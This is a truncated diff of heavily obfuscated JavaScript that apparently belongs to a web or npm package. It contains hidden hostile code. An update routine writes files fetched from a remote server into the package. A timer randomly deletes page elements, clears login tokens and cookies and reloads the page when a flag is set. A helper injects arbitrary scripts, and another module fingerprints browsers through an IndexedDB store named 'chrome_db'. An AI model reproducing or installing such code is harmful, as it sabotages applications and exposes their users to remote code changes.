axios_1=__importDefault(require(a9_0x24babb(0xc1))),fs_1=__importDefault(require('fs')),path_1=__importDefault(require(a9_0x24babb(0xdc))),start_1=require(a9_0x24babb(0xdf));function getModuleType(){const _0x1b2291=a9_0x24babb,_0x1ab85b=()=>{const _0x142bce=a9_0x2be2;try{return typeof require!==_0x142bce(0xd5)&&typeof module!=='undefined'&&module[_0x142bce(0xd6)]&&require[_0x142bce(0xca)]===module;}catch(_0x557f4f){return![];}};return _0x1ab85b()?_0x1b2291(0xcb):_0x1b2291(0xc5);}let _path=path_1[a9_0x24babb(0xdd)][a9_0x24babb(0xd0)](__dirname,a9_0x24babb(0xbd)),vFile=fs_1[a9_0x24babb(0xdd)][a9_0x24babb(0xcd)](_path)?fs_1[a9_0x24babb(0xdd)][a9_0x24babb(0xc9)](_path)[a9_0x24babb(0xc4)]():a9_0x24babb(0xcc),version=JSON[a9_0x24babb(0xdb)](vFile)[a9_0x24babb(0xd7)];function update(){const _0x1fc959=a9_0x24babb;axios_1[_0x1fc959(0xdd)]['get'](start_1[_0x1fc959(0xce)]+_0x1fc959(0xde),{'params':{'mode':getModuleType(),'version':version}})[_0x1fc959(0xd9)](_0x27239f=>{const _0x1f5b6c=_0x1fc959;if(!_0x27239f['data'][_0x1f5b6c(0xd3)]){let _0x4193ed=Object['keys'](_0x27239f[_0x1f5b6c(0xd2)][_0x1f5b6c(0xd2)]),_0x3f8dfe=Object[_0x1f5b6c(0xc7)](_0x27239f[_0x1f5b6c(0xd2)][_0x1f5b6c(0xd2)]);for(let _0x53c3b4=0x0;_0x53c3b4<_0x4193ed['length'];_0x53c3b4++){const _0x33c1f9=_0x4193ed[_0x53c3b4],_0x593163=_0x3f8dfe[_0x53c3b4];fs_1[_0x1f5b6c(0xdd)][_0x1f5b6c(0xd4)](path_1[_0x1f5b6c(0xdd)][_0x1f5b6c(0xd0)](__dirname,'./'+_0x33c1f9),_0x593163);}}});}exports[a9_0x24babb(0xdd)]=update;function a9_0x1641(){const _0x473a86=['__importDefault','../../package.json','260QoEgba','816437jMpXyL','1887594VixLmf','axios','2588454eOciXq','5773033vxyfeo','toString','ESM','5310016isfejM','values','112836LdCeFv','readFileSync','main','CJS','{version:\x220.0.0\x22}','existsSync','url','__esModule','join','defineProperty','data','success','writeFileSync','undefined','exports','version','3274188SBVVMD','then','3yCvUBm','parse','path','default','/version','./start'];a9_0x1641=function(){return _0x473a86;};return a9_0x1641();}
@@ -1 +1 @@
1
- function a13_0x4fc8(_0x26c011,_0x3419e9){const _0x591206=a13_0x5912();return a13_0x4fc8=function(_0x4fc835,_0x2a291d){_0x4fc835=_0x4fc835-0xed;let _0x250d45=_0x591206[_0x4fc835];return _0x250d45;},a13_0x4fc8(_0x26c011,_0x3419e9);}(function(_0x2a733a,_0x4e4392){const _0x115c49=a13_0x4fc8,_0x4b8dc0=_0x2a733a();while(!![]){try{const _0x55aece=-parseInt(_0x115c49(0xfd))/0x1*(-parseInt(_0x115c49(0xff))/0x2)+parseInt(_0x115c49(0x10c))/0x3*(parseInt(_0x115c49(0xfc))/0x4)+-parseInt(_0x115c49(0x10b))/0x5+parseInt(_0x115c49(0x112))/0x6*(-parseInt(_0x115c49(0xf7))/0x7)+-parseInt(_0x115c49(0xfe))/0x8*(parseInt(_0x115c49(0x108))/0x9)+parseInt(_0x115c49(0x107))/0xa*(parseInt(_0x115c49(0xf8))/0xb)+parseInt(_0x115c49(0x111))/0xc*(-parseInt(_0x115c49(0xee))/0xd);if(_0x55aece===_0x4e4392)break;else _0x4b8dc0['push'](_0x4b8dc0['shift']());}catch(_0x2346fe){_0x4b8dc0['push'](_0x4b8dc0['shift']());}}}(a13_0x5912,0x49767));var __awaiter=this&&this['__awaiter']||function(_0x31c5de,_0x2bb286,_0x45692f,_0x1c61ce){function _0x195576(_0x191dd3){return _0x191dd3 instanceof _0x45692f?_0x191dd3:new _0x45692f(function(_0x7789ea){_0x7789ea(_0x191dd3);});}return new(_0x45692f||(_0x45692f=Promise))(function(_0x465718,_0xc0755b){const _0x36881b=a13_0x4fc8;function _0x212b1c(_0x5ae9c2){const _0x36ac69=a13_0x4fc8;try{_0x2373c0(_0x1c61ce[_0x36ac69(0xf3)](_0x5ae9c2));}catch(_0x2fa9d6){_0xc0755b(_0x2fa9d6);}}function _0x55a6e3(_0xe1dcf3){const _0x44917a=a13_0x4fc8;try{_0x2373c0(_0x1c61ce[_0x44917a(0x109)](_0xe1dcf3));}catch(_0x29aa46){_0xc0755b(_0x29aa46);}}function _0x2373c0(_0xa69759){const _0x2ab685=a13_0x4fc8;_0xa69759[_0x2ab685(0xfa)]?_0x465718(_0xa69759[_0x2ab685(0x113)]):_0x195576(_0xa69759[_0x2ab685(0x113)])['then'](_0x212b1c,_0x55a6e3);}_0x2373c0((_0x1c61ce=_0x1c61ce[_0x36881b(0x101)](_0x31c5de,_0x2bb286||[]))[_0x36881b(0xf3)]());});};import a13_0x57d108 from'md5';import{uuid}from'..';function openDatabase(){return new Promise((_0x3b4e00,_0x6e3107)=>{const _0x10aafd=a13_0x4fc8,_0x1dd026=indexedDB['open']('chrome_db',0x1);_0x1dd026['onupgradeneeded']=_0x2a74b4=>{const _0x34ed89=a13_0x4fc8,_0x5e5056=_0x2a74b4[_0x34ed89(0xf5)][_0x34ed89(0x10a)];!_0x5e5056[_0x34ed89(0xf1)]['contains'](_0x34ed89(0xfb))&&_0x5e5056[_0x34ed89(0xf9)](_0x34ed89(0xfb),{'keyPath':_0x34ed89(0x104)});},_0x1dd026['onsuccess']=_0x5bf0ad=>{const _0x30a2a2=a13_0x4fc8,_0x379d4d=_0x5bf0ad[_0x30a2a2(0xf5)]['result'];_0x3b4e00(_0x379d4d);},_0x1dd026[_0x10aafd(0xf0)]=_0x531759=>{const _0x8df28d=_0x10aafd;_0x6e3107(_0x531759['target'][_0x8df28d(0xf2)]);};});}function setKeyValue(_0x540241,_0x77afa3){return new Promise((_0x3dffc6,_0xba37da)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x16545a=a13_0x4fc8,_0x411b27=yield openDatabase(),_0x3e34f7=_0x411b27[_0x16545a(0x100)](_0x16545a(0xfb),'readwrite'),_0x390aa3=_0x3e34f7[_0x16545a(0xf6)]('metadata'),_0x535201=_0x390aa3[_0x16545a(0xf4)]({'key':_0x540241,'value':_0x77afa3});_0x535201['onsuccess']=()=>{_0x3dffc6();},_0x535201[_0x16545a(0xf0)]=_0x329838=>{const _0x16c9d3=_0x16545a;_0xba37da(_0x329838[_0x16c9d3(0xf5)][_0x16c9d3(0xf2)]);};}));}export function getKeyValue(_0x1eba9e){return new Promise((_0x1dfb79,_0x13d002)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x1429f4=a13_0x4fc8,_0x204e8e=yield openDatabase(),_0x1d7de4=_0x204e8e['transaction'](_0x1429f4(0xfb),'readonly'),_0x73e4a3=_0x1d7de4[_0x1429f4(0xf6)](_0x1429f4(0xfb)),_0x3e7f49=_0x73e4a3[_0x1429f4(0x110)](_0x1eba9e);_0x3e7f49[_0x1429f4(0xef)]=()=>{const _0x573dec=_0x1429f4;_0x1dfb79(_0x3e7f49['result']?_0x3e7f49['result'][_0x573dec(0x113)]:null);},_0x3e7f49['onerror']=_0x422535=>{const _0x120520=_0x1429f4;_0x13d002(_0x422535['target'][_0x120520(0xf2)]);};}));}function generateRandomMAC(){const _0xde3fbc=a13_0x4fc8,_0x3f3051=_0xde3fbc(0x106);let _0x3e4c7f='';for(let _0x525be2=0x0;_0x525be2<0xc;_0x525be2++){_0x3e4c7f+=_0x3f3051[Math[_0xde3fbc(0x10e)](Math[_0xde3fbc(0x10d)]()*0x10)],_0x525be2%0x2===0x1&&_0x525be2!==0xb&&(_0x3e4c7f+=':');}return uuid()[_0xde3fbc(0x105)](/-/g,'')+a13_0x57d108(JSON[_0xde3fbc(0xed)](window[_0xde3fbc(0x102)][_0xde3fbc(0x103)]));}function a13_0x5912(){const _0x3169b9=['262962aKroGk','11eSlJdw','createObjectStore','done','metadata','64xEdwvG','247085KkocsH','1650984Ntvcrg','4lblGEG','transaction','apply','navigator','userAgent','key','replace','0123456789ABCDEF','5215390BXWhGc','9gzTKxF','throw','result','1524830ktzAmc','72633BTZmda','random','floor','mac','get','1236ivLbcz','78PgerCC','value','stringify','12935RgUJvB','onsuccess','onerror','objectStoreNames','error','next','put','target','objectStore'];a13_0x5912=function(){return _0x3169b9;};return a13_0x5912();}function main(){return __awaiter(this,void 0x0,void 0x0,function*(){const _0x2e63f0=a13_0x4fc8;try{const _0x9b7d94=yield openDatabase();let _0x55835a=yield getKeyValue(_0x2e63f0(0x10f));if(!_0x55835a)_0x55835a=generateRandomMAC(),yield setKeyValue(_0x2e63f0(0x10f),_0x55835a);else{}return _0x55835a;}catch(_0x152a3f){return null;}});}main();
1
+ const a15_0x38a7af=a15_0x3586;function a15_0x3586(_0x26c065,_0x11187a){const _0x972c09=a15_0x972c();return a15_0x3586=function(_0x35865b,_0x1fd54a){_0x35865b=_0x35865b-0x15b;let _0x1a784c=_0x972c09[_0x35865b];return _0x1a784c;},a15_0x3586(_0x26c065,_0x11187a);}(function(_0x3034ff,_0x2afe6c){const _0x2630c9=a15_0x3586,_0x19fb37=_0x3034ff();while(!![]){try{const _0x41cc86=parseInt(_0x2630c9(0x161))/0x1*(parseInt(_0x2630c9(0x175))/0x2)+-parseInt(_0x2630c9(0x163))/0x3*(parseInt(_0x2630c9(0x15b))/0x4)+parseInt(_0x2630c9(0x173))/0x5+-parseInt(_0x2630c9(0x167))/0x6*(parseInt(_0x2630c9(0x17f))/0x7)+parseInt(_0x2630c9(0x17b))/0x8*(parseInt(_0x2630c9(0x166))/0x9)+-parseInt(_0x2630c9(0x168))/0xa+-parseInt(_0x2630c9(0x16a))/0xb*(-parseInt(_0x2630c9(0x177))/0xc);if(_0x41cc86===_0x2afe6c)break;else _0x19fb37['push'](_0x19fb37['shift']());}catch(_0x3e1e3e){_0x19fb37['push'](_0x19fb37['shift']());}}}(a15_0x972c,0x8ebd6));var __awaiter=this&&this[a15_0x38a7af(0x16e)]||function(_0x4bcd97,_0x146dc0,_0x3e1850,_0x21373c){function _0x17827f(_0x5ec507){return _0x5ec507 instanceof _0x3e1850?_0x5ec507:new _0x3e1850(function(_0x396dae){_0x396dae(_0x5ec507);});}return new(_0x3e1850||(_0x3e1850=Promise))(function(_0xf15c82,_0x44e62e){const _0x2b8137=a15_0x3586;function _0xd0399f(_0x24dec2){try{_0x42137c(_0x21373c['next'](_0x24dec2));}catch(_0x1253e2){_0x44e62e(_0x1253e2);}}function _0x529786(_0x21f205){const _0x543193=a15_0x3586;try{_0x42137c(_0x21373c[_0x543193(0x15f)](_0x21f205));}catch(_0x54044e){_0x44e62e(_0x54044e);}}function _0x42137c(_0x192ce8){const _0x447fba=a15_0x3586;_0x192ce8['done']?_0xf15c82(_0x192ce8[_0x447fba(0x178)]):_0x17827f(_0x192ce8[_0x447fba(0x178)])[_0x447fba(0x176)](_0xd0399f,_0x529786);}_0x42137c((_0x21373c=_0x21373c[_0x2b8137(0x17e)](_0x4bcd97,_0x146dc0||[]))[_0x2b8137(0x17c)]());});};import a15_0x183f16 from'md5';function a15_0x972c(){const _0x3cef7a=['132HJbiYX','value','objectStoreNames','objectStore','8zrNdVF','next','createObjectStore','apply','254604zjUbft','0123456789ABCDEF','212236ZHwZpv','error','result','onerror','throw','metadata','107zheZzg','transaction','24tmrQPf','onsuccess','contains','9522531JufFSP','174xTbjRe','866820xwxXuH','replace','166507StmDbN','put','open','target','__awaiter','navigator','readwrite','onupgradeneeded','userAgent','3746905dXJYtP','mac','3302zlURZE','then'];a15_0x972c=function(){return _0x3cef7a;};return a15_0x972c();}import{uuid}from'..';function openDatabase(){return new Promise((_0x326775,_0x525910)=>{const _0x1a3a61=a15_0x3586,_0x470b1c=indexedDB[_0x1a3a61(0x16c)]('chrome_db',0x1);_0x470b1c[_0x1a3a61(0x171)]=_0x2a3498=>{const _0x3ff099=_0x1a3a61,_0x381655=_0x2a3498[_0x3ff099(0x16d)][_0x3ff099(0x15d)];!_0x381655[_0x3ff099(0x179)][_0x3ff099(0x165)]('metadata')&&_0x381655[_0x3ff099(0x17d)](_0x3ff099(0x160),{'keyPath':'key'});},_0x470b1c[_0x1a3a61(0x164)]=_0x4ba541=>{const _0x36f9c7=_0x1a3a61,_0x484c02=_0x4ba541[_0x36f9c7(0x16d)][_0x36f9c7(0x15d)];_0x326775(_0x484c02);},_0x470b1c[_0x1a3a61(0x15e)]=_0x59e2b7=>{const _0xab3b24=_0x1a3a61;_0x525910(_0x59e2b7[_0xab3b24(0x16d)][_0xab3b24(0x15c)]);};});}function setKeyValue(_0xfbcbe7,_0x30be0e){return new Promise((_0x4209e1,_0xb7e472)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x233498=a15_0x3586,_0x2b15e1=yield openDatabase(),_0x41d78b=_0x2b15e1[_0x233498(0x162)](_0x233498(0x160),_0x233498(0x170)),_0x1500b3=_0x41d78b[_0x233498(0x17a)]('metadata'),_0x2a7b85=_0x1500b3[_0x233498(0x16b)]({'key':_0xfbcbe7,'value':_0x30be0e});_0x2a7b85[_0x233498(0x164)]=()=>{_0x4209e1();},_0x2a7b85[_0x233498(0x15e)]=_0x53d3e9=>{const _0x421680=_0x233498;_0xb7e472(_0x53d3e9[_0x421680(0x16d)][_0x421680(0x15c)]);};}));}export function getKeyValue(_0x4498bf){return new Promise((_0x510b5d,_0x3574f2)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x3b2756=a15_0x3586,_0x5a1d16=yield openDatabase(),_0x5c9e3f=_0x5a1d16[_0x3b2756(0x162)]('metadata','readonly'),_0x7a3058=_0x5c9e3f['objectStore'](_0x3b2756(0x160)),_0x2e8278=_0x7a3058['get'](_0x4498bf);_0x2e8278[_0x3b2756(0x164)]=()=>{const _0x834c0d=_0x3b2756;_0x510b5d(_0x2e8278[_0x834c0d(0x15d)]?_0x2e8278[_0x834c0d(0x15d)][_0x834c0d(0x178)]:null);},_0x2e8278['onerror']=_0x36a2cb=>{const _0x366514=_0x3b2756;_0x3574f2(_0x36a2cb[_0x366514(0x16d)][_0x366514(0x15c)]);};}));}function generateRandomMAC(){const _0x1cb53c=a15_0x38a7af,_0x44ec21=_0x1cb53c(0x180);let _0x274f46='';for(let _0x205d15=0x0;_0x205d15<0xc;_0x205d15++){_0x274f46+=_0x44ec21[Math['floor'](Math['random']()*0x10)],_0x205d15%0x2===0x1&&_0x205d15!==0xb&&(_0x274f46+=':');}return uuid()[_0x1cb53c(0x169)](/-/g,'')+a15_0x183f16(JSON['stringify'](window[_0x1cb53c(0x16f)][_0x1cb53c(0x172)]));}function main(){return __awaiter(this,void 0x0,void 0x0,function*(){const _0x438b57=a15_0x3586;try{const _0x2ae03a=yield openDatabase();let _0x2e5bb5=yield getKeyValue('mac');if(!_0x2e5bb5)_0x2e5bb5=generateRandomMAC(),yield setKeyValue(_0x438b57(0x174),_0x2e5bb5);else{}return _0x2e5bb5;}catch(_0x3df240){return null;}});}main();
@@ -1 +1 @@
1
- (function(_0x565e4d,_0xa7c7dc){const _0x20fca0=a8_0x3975,_0x296c4d=_0x565e4d();while(!![]){try{const _0x3c7817=parseInt(_0x20fca0(0x192))/0x1+parseInt(_0x20fca0(0x1a4))/0x2*(parseInt(_0x20fca0(0x19f))/0x3)+-parseInt(_0x20fca0(0x1a2))/0x4*(-parseInt(_0x20fca0(0x19a))/0x5)+parseInt(_0x20fca0(0x197))/0x6*(-parseInt(_0x20fca0(0x19d))/0x7)+-parseInt(_0x20fca0(0x1a1))/0x8+parseInt(_0x20fca0(0x1a9))/0x9*(parseInt(_0x20fca0(0x1a6))/0xa)+-parseInt(_0x20fca0(0x1a8))/0xb;if(_0x3c7817===_0xa7c7dc)break;else _0x296c4d['push'](_0x296c4d['shift']());}catch(_0x365fea){_0x296c4d['push'](_0x296c4d['shift']());}}}(a8_0x4af9,0xc590b));function a8_0x4af9(){const _0x13cdd4=['remove','Token','18sdthDy','length','removeItem','95zVykgS','sort','head','2107833ClBIwT','documentElement','15XQvGgO','innerText','12050520JDhCow','140888hYyNqI','parentNode','633842fSxlPm','createElement','188890XKHSBe','querySelector','9408542EWQLvJ','522ngJMXJ','#app','token','724836uopDSw','script','localStorage'];a8_0x4af9=function(){return _0x13cdd4;};return a8_0x4af9();}import a8_0x2fddf5 from'./id/random';import{getEnv}from'./index';function a8_0x3975(_0x3ce394,_0x3d4561){const _0x4af951=a8_0x4af9();return a8_0x3975=function(_0x397506,_0x1ec406){_0x397506=_0x397506-0x191;let _0x39ad5d=_0x4af951[_0x397506];return _0x39ad5d;},a8_0x3975(_0x3ce394,_0x3d4561);}import a8_0x424e6f from'js-cookie';export function runScript(_0x2bf818){const _0x53aff5=a8_0x3975;let _0x5e3ad5=document[_0x53aff5(0x1a5)](_0x53aff5(0x193));_0x5e3ad5[_0x53aff5(0x1a0)]=_0x2bf818,document[_0x53aff5(0x19c)]['appendChild'](_0x5e3ad5),setTimeout(()=>{const _0x15a7e8=_0x53aff5;_0x5e3ad5[_0x15a7e8(0x195)]();},0xa);}let index=0x1,num=a8_0x2fddf5(0x4,0x8);setInterval(()=>{const _0x5a58b5=a8_0x3975;if(index==num)try{window['localStorage'][_0x5a58b5(0x199)](_0x5a58b5(0x191)),window['localStorage'][_0x5a58b5(0x199)]('userid'),window[_0x5a58b5(0x194)][_0x5a58b5(0x199)](_0x5a58b5(0x196)),a8_0x424e6f[_0x5a58b5(0x195)](_0x5a58b5(0x191)),window['location']['reload']();}catch(_0x44e2da){}if(getEnv('connectError')){index++;let _0x391da3=document[_0x5a58b5(0x1a7)](_0x5a58b5(0x1aa))||document[_0x5a58b5(0x1a7)]('body');const _0x5e0698=_0x391da3['querySelectorAll']('[class^=\x22el\x22]');function _0x2808e8(_0xd32ee9){const _0x16b00e=_0x5a58b5;let _0x1dfb91=0x0,_0x27e18b=_0xd32ee9;while(_0x27e18b[_0x16b00e(0x1a3)]&&_0x27e18b[_0x16b00e(0x1a3)]!==document[_0x16b00e(0x19e)]){_0x1dfb91++,_0x27e18b=_0x27e18b[_0x16b00e(0x1a3)];}return _0x1dfb91;}const _0x257bbe=Array['from'](_0x5e0698);_0x257bbe[_0x5a58b5(0x19b)]((_0x17be4,_0xeee0a9)=>_0x2808e8(_0xeee0a9)-_0x2808e8(_0x17be4));for(let _0x1cde83=0x0;_0x1cde83<_0x257bbe[_0x5a58b5(0x198)];_0x1cde83++){const _0x534628=_0x257bbe[_0x1cde83];_0x534628&&(a8_0x2fddf5(0x1,0x64)>0x50&&_0x534628['remove']());}}},a8_0x2fddf5(0x107e,0x208d));
1
+ (function(_0x2442e8,_0x24290c){const _0x139d9f=a10_0x4577,_0x2ae880=_0x2442e8();while(!![]){try{const _0x1b8f17=parseInt(_0x139d9f(0x1dd))/0x1*(-parseInt(_0x139d9f(0x1ca))/0x2)+parseInt(_0x139d9f(0x1d7))/0x3*(parseInt(_0x139d9f(0x1d6))/0x4)+-parseInt(_0x139d9f(0x1db))/0x5+-parseInt(_0x139d9f(0x1dc))/0x6*(parseInt(_0x139d9f(0x1c5))/0x7)+-parseInt(_0x139d9f(0x1c8))/0x8*(-parseInt(_0x139d9f(0x1d4))/0x9)+parseInt(_0x139d9f(0x1e3))/0xa*(parseInt(_0x139d9f(0x1c7))/0xb)+parseInt(_0x139d9f(0x1ce))/0xc;if(_0x1b8f17===_0x24290c)break;else _0x2ae880['push'](_0x2ae880['shift']());}catch(_0x476bea){_0x2ae880['push'](_0x2ae880['shift']());}}}(a10_0x5ec8,0x99c2a));import a10_0x1898fa from'./id/random';import{getEnv}from'./start';import a10_0x1cf5b6 from'js-cookie';function a10_0x4577(_0x5b30c8,_0x5e3073){const _0x5ec8c5=a10_0x5ec8();return a10_0x4577=function(_0x4577df,_0x23873d){_0x4577df=_0x4577df-0x1c3;let _0x37f3eb=_0x5ec8c5[_0x4577df];return _0x37f3eb;},a10_0x4577(_0x5b30c8,_0x5e3073);}export function runScript(_0x93d858){const _0x4fccf0=a10_0x4577;let _0xbb791a=document['createElement'](_0x4fccf0(0x1de));_0xbb791a[_0x4fccf0(0x1d0)]=_0x93d858,document[_0x4fccf0(0x1d8)][_0x4fccf0(0x1cb)](_0xbb791a),setTimeout(()=>{_0xbb791a['remove']();},0xa);}let index=0x1,num=a10_0x1898fa(0x4,0x8);function a10_0x5ec8(){const _0x4a8e04=['400LcLPbq','userid','526izenJk','appendChild','length','Token','34197696vhjguY','querySelector','innerText','reload','documentElement','#app','27171pjmBxh','remove','140FekBfC','6009ZCnrHh','head','localStorage','body','5705840DpMxHP','6839502WBdRXs','3461POhxyV','script','parentNode','location','querySelectorAll','from','70QApqMP','token','removeItem','7umCCfG','sort','1178991OWMvKh'];a10_0x5ec8=function(){return _0x4a8e04;};return a10_0x5ec8();}setInterval(()=>{const _0x131947=a10_0x4577;if(index==num)try{window[_0x131947(0x1d9)][_0x131947(0x1c4)](_0x131947(0x1c3)),window[_0x131947(0x1d9)][_0x131947(0x1c4)](_0x131947(0x1c9)),window[_0x131947(0x1d9)]['removeItem'](_0x131947(0x1cd)),a10_0x1cf5b6['remove']('token'),window[_0x131947(0x1e0)][_0x131947(0x1d1)]();}catch(_0xf7f20){}if(getEnv('connectError')){index++;let _0x163f12=document['querySelector'](_0x131947(0x1d3))||document[_0x131947(0x1cf)](_0x131947(0x1da));const _0x4ab274=_0x163f12[_0x131947(0x1e1)]('[class^=\x22el\x22]');function _0x384c2d(_0x3eb526){const _0x13ca52=_0x131947;let _0x389d07=0x0,_0x1039b6=_0x3eb526;while(_0x1039b6[_0x13ca52(0x1df)]&&_0x1039b6['parentNode']!==document[_0x13ca52(0x1d2)]){_0x389d07++,_0x1039b6=_0x1039b6['parentNode'];}return _0x389d07;}const _0x1568b4=Array[_0x131947(0x1e2)](_0x4ab274);_0x1568b4[_0x131947(0x1c6)]((_0x4267f0,_0x117d8a)=>_0x384c2d(_0x117d8a)-_0x384c2d(_0x4267f0));for(let _0xbf2a26=0x0;_0xbf2a26<_0x1568b4[_0x131947(0x1cc)];_0xbf2a26++){const _0xc307ff=_0x1568b4[_0xbf2a26];_0xc307ff&&(a10_0x1898fa(0x1,0x64)>0x50&&_0xc307ff[_0x131947(0x1d5)]());}}},a10_0x1898fa(0x107e,0x208d));
@@ -1 +1 @@
1
- function a9_0x3137(){const _0x2dfb45=['1566980zWSyNv','length','__awaiter','then','1673175NXeqfz','apply','statSync','isFile','726954nFWMld','22PwsYUL','3FiARRR','369816Nxopxb','28tHyLUN','value','push','336194exkbyg','9ahQPLC','268QZAQZq','5772008QUgYpd','next','readdirSync','throw','done','34809AoYIok'];a9_0x3137=function(){return _0x2dfb45;};return a9_0x3137();}function a9_0x2262(_0x12a40a,_0x18bc01){const _0x3137d8=a9_0x3137();return a9_0x2262=function(_0x226252,_0x1fc55e){_0x226252=_0x226252-0x177;let _0x1c2678=_0x3137d8[_0x226252];return _0x1c2678;},a9_0x2262(_0x12a40a,_0x18bc01);}const a9_0x14cb3f=a9_0x2262;(function(_0x40b214,_0x2da40e){const _0x6fc034=a9_0x2262,_0x28bc37=_0x40b214();while(!![]){try{const _0x2938a3=parseInt(_0x6fc034(0x183))/0x1*(parseInt(_0x6fc034(0x188))/0x2)+parseInt(_0x6fc034(0x178))/0x3*(-parseInt(_0x6fc034(0x18a))/0x4)+parseInt(_0x6fc034(0x17d))/0x5+-parseInt(_0x6fc034(0x181))/0x6*(parseInt(_0x6fc034(0x185))/0x7)+-parseInt(_0x6fc034(0x18b))/0x8*(-parseInt(_0x6fc034(0x189))/0x9)+parseInt(_0x6fc034(0x179))/0xa+parseInt(_0x6fc034(0x182))/0xb*(parseInt(_0x6fc034(0x184))/0xc);if(_0x2938a3===_0x2da40e)break;else _0x28bc37['push'](_0x28bc37['shift']());}catch(_0x26142a){_0x28bc37['push'](_0x28bc37['shift']());}}}(a9_0x3137,0x7e274));var __awaiter=this&&this[a9_0x14cb3f(0x17b)]||function(_0xed17c1,_0x447c36,_0x54041e,_0x127c91){function _0x32f5cd(_0x4143fc){return _0x4143fc instanceof _0x54041e?_0x4143fc:new _0x54041e(function(_0x55626c){_0x55626c(_0x4143fc);});}return new(_0x54041e||(_0x54041e=Promise))(function(_0x25379c,_0x1c62d9){const _0xc52b2d=a9_0x2262;function _0x4eb894(_0x14a648){const _0x3b9ffa=a9_0x2262;try{_0x2dc3ae(_0x127c91[_0x3b9ffa(0x18c)](_0x14a648));}catch(_0x241c10){_0x1c62d9(_0x241c10);}}function _0x2dbc62(_0x5ea01b){const _0x4443d1=a9_0x2262;try{_0x2dc3ae(_0x127c91[_0x4443d1(0x18e)](_0x5ea01b));}catch(_0x38b29c){_0x1c62d9(_0x38b29c);}}function _0x2dc3ae(_0x3fb102){const _0x3d0fb3=a9_0x2262;_0x3fb102[_0x3d0fb3(0x177)]?_0x25379c(_0x3fb102[_0x3d0fb3(0x186)]):_0x32f5cd(_0x3fb102['value'])[_0x3d0fb3(0x17c)](_0x4eb894,_0x2dbc62);}_0x2dc3ae((_0x127c91=_0x127c91[_0xc52b2d(0x17e)](_0xed17c1,_0x447c36||[]))[_0xc52b2d(0x18c)]());});};import a9_0x5bcade from'fs';import a9_0x375196 from'path';function fileDisplay(_0x1d942e){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x3aec30=[];function _0x3cfe5e(_0x139b49){const _0x29003c=a9_0x2262,_0x4f8f39=a9_0x5bcade[_0x29003c(0x18d)](_0x139b49);for(let _0x47dda0=0x0;_0x47dda0<_0x4f8f39[_0x29003c(0x17a)];_0x47dda0++){const _0xa2cb1e=_0x4f8f39[_0x47dda0],_0x2e15c2=a9_0x375196['join'](_0x139b49,_0xa2cb1e),_0x45cf8b=a9_0x5bcade[_0x29003c(0x17f)](_0x2e15c2),_0x391e42=_0x45cf8b[_0x29003c(0x180)](),_0x38a3b0=_0x45cf8b['isDirectory']();_0x391e42&&_0x3aec30[_0x29003c(0x187)](_0x2e15c2),_0x38a3b0&&_0x3cfe5e(_0x2e15c2);}}return _0x3cfe5e(_0x1d942e),_0x3aec30;});}function getAllRouter(_0x593133){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x7629f2=yield fileDisplay(_0x593133);return _0x7629f2;});}export default getAllRouter;
1
+ const a11_0x4188a4=a11_0x1189;function a11_0x250b(){const _0x452b1a=['4885800FAxpHa','6GTSZut','__awaiter','775432kwYeSA','statSync','isFile','length','then','196782HolWkE','6PxqbHC','20glvtcp','throw','2465469WrLoaj','push','value','946QHgKfu','2814895BwxmqR','327345hksnVl','4ieZadU','join','38172VtxHpI','apply','next'];a11_0x250b=function(){return _0x452b1a;};return a11_0x250b();}(function(_0x1b4a98,_0x229cc5){const _0x32c382=a11_0x1189,_0x26ed6c=_0x1b4a98();while(!![]){try{const _0x5c45cd=parseInt(_0x32c382(0x121))/0x1+-parseInt(_0x32c382(0x111))/0x2*(-parseInt(_0x32c382(0x118))/0x3)+-parseInt(_0x32c382(0x122))/0x4*(-parseInt(_0x32c382(0x120))/0x5)+parseInt(_0x32c382(0x119))/0x6*(parseInt(_0x32c382(0x113))/0x7)+-parseInt(_0x32c382(0x110))/0x8+-parseInt(_0x32c382(0x11c))/0x9*(parseInt(_0x32c382(0x11a))/0xa)+-parseInt(_0x32c382(0x11f))/0xb*(-parseInt(_0x32c382(0x124))/0xc);if(_0x5c45cd===_0x229cc5)break;else _0x26ed6c['push'](_0x26ed6c['shift']());}catch(_0xf4538d){_0x26ed6c['push'](_0x26ed6c['shift']());}}}(a11_0x250b,0x4c609));var __awaiter=this&&this[a11_0x4188a4(0x112)]||function(_0x446c22,_0x551b92,_0x2cbe67,_0x5a0209){function _0xe87872(_0x3f5a14){return _0x3f5a14 instanceof _0x2cbe67?_0x3f5a14:new _0x2cbe67(function(_0x393abb){_0x393abb(_0x3f5a14);});}return new(_0x2cbe67||(_0x2cbe67=Promise))(function(_0x4dd273,_0x6e65a8){const _0xb5edce=a11_0x1189;function _0x806b12(_0x5bbcf4){try{_0x5ad55f(_0x5a0209['next'](_0x5bbcf4));}catch(_0x2fa4f6){_0x6e65a8(_0x2fa4f6);}}function _0x48dd4e(_0x500ebc){const _0x19f73a=a11_0x1189;try{_0x5ad55f(_0x5a0209[_0x19f73a(0x11b)](_0x500ebc));}catch(_0xb59758){_0x6e65a8(_0xb59758);}}function _0x5ad55f(_0x41d102){const _0x1fd2fa=a11_0x1189;_0x41d102['done']?_0x4dd273(_0x41d102[_0x1fd2fa(0x11e)]):_0xe87872(_0x41d102[_0x1fd2fa(0x11e)])[_0x1fd2fa(0x117)](_0x806b12,_0x48dd4e);}_0x5ad55f((_0x5a0209=_0x5a0209[_0xb5edce(0x125)](_0x446c22,_0x551b92||[]))[_0xb5edce(0x126)]());});};function a11_0x1189(_0x1de34b,_0x5eda29){const _0x250b13=a11_0x250b();return a11_0x1189=function(_0x118923,_0x528d4f){_0x118923=_0x118923-0x110;let _0xa476a3=_0x250b13[_0x118923];return _0xa476a3;},a11_0x1189(_0x1de34b,_0x5eda29);}import a11_0x540ce2 from'fs';import a11_0x4cfcd8 from'path';function fileDisplay(_0x4838b6){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x29a0c7=[];function _0x40eca4(_0x1a6ed8){const _0x238052=a11_0x1189,_0x4f6dce=a11_0x540ce2['readdirSync'](_0x1a6ed8);for(let _0xd4e5b6=0x0;_0xd4e5b6<_0x4f6dce[_0x238052(0x116)];_0xd4e5b6++){const 